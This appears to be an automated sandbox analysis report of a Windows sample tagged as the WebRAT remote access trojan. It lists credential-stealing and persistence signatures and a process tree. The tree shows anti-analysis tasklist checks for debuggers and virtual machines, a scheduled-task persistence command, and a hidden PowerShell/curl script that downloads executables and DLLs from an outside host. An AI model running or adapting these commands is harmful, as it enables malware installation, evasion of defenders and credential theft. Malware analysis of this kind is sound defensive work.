Analysis
- user interaction
yes - max time kernel
900s - max time network
900s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/09/2026, 12:19
General
- Target juscned.exe
- Size 5.6MB
- Sample260912-pg778abe52
- SHA256 d5f59b35f4b02bbbd274627334674d0eb8b7f08ced64a6512c6a6979d4fb24e3
Score
10/10
Malware Config
Signatures
- Family: WebRAT
WebRAT is a Windows RAT written in Golang.
- Badlisted process makes network request 24 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 10 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks whether UAC is enabled 1 TTPs 4 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 8 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 8 IoCs
- Modifies registry class 39 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 58 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- cURL User-Agent 23 IoCs
Uses User-Agent string associated with cURL utility.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\juscned.exe"C:\Users\Admin\AppData\Local\Temp\juscned.exe"1⤵
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq wireshark.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dumpcap.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon64.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp64.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq processhacker.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x64dbg.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x32dbg.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ollydbg.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida64.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag64.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw64.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq fiddler.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebugger.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebuggerui.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dnspy.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq pestudio.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq cheatengine.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq hxd.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq devenv.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq windbg.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq immunitydebugger.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq apimonitor.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autoruns.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autorunsc.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq filemon.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq regmon.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq resourcehacker.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmtoolsd.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwaretray.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwareuser.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmusrvc.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmsrvc.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxservice.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxtray.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq xenservice.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq qemu-ga.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxie.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxiedcomlaunch.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxierpcss.exe" /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxcontrol.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxserver.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_tools.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_cc.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmacthlp.exe" /NH2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /XML C:\Users\Admin\AppData\Local\Temp\juscned_task.xml /TN juscned /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" --installed2⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq wireshark.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dumpcap.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon.exe" /NH3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon64.exe" /NH3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp64.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq processhacker.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x64dbg.exe" /NH3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x32dbg.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ollydbg.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida.exe" /NH3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida64.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag64.exe" /NH3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw.exe" /NH3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw64.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq fiddler.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebugger.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebuggerui.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dnspy.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq pestudio.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq cheatengine.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq hxd.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq devenv.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq windbg.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq immunitydebugger.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq apimonitor.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autoruns.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autorunsc.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq filemon.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq regmon.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq resourcehacker.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmtoolsd.exe" /NH3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwaretray.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwareuser.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmusrvc.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmsrvc.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxservice.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxtray.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq xenservice.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq qemu-ga.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxie.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxiedcomlaunch.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxierpcss.exe" /NH3⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxcontrol.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxserver.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_tools.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_cc.exe" /NH3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmacthlp.exe" /NH3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /XML C:\Users\Admin\AppData\Local\Temp\juscned_task.xml /TN juscned /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" --watchdog 5536 --wd-target "C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select Name from Win32_Processor\").Name"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"Select Name from Win32_VideoController\").Name"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select Caption from Win32_OperatingSystem\").Caption"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select TotalPhysicalMemory from Win32_ComputerSystem\").TotalPhysicalMemory"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" -loglevel3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" -loglevel3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" -loglevel3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" -loglevel3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe" -loglevel3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
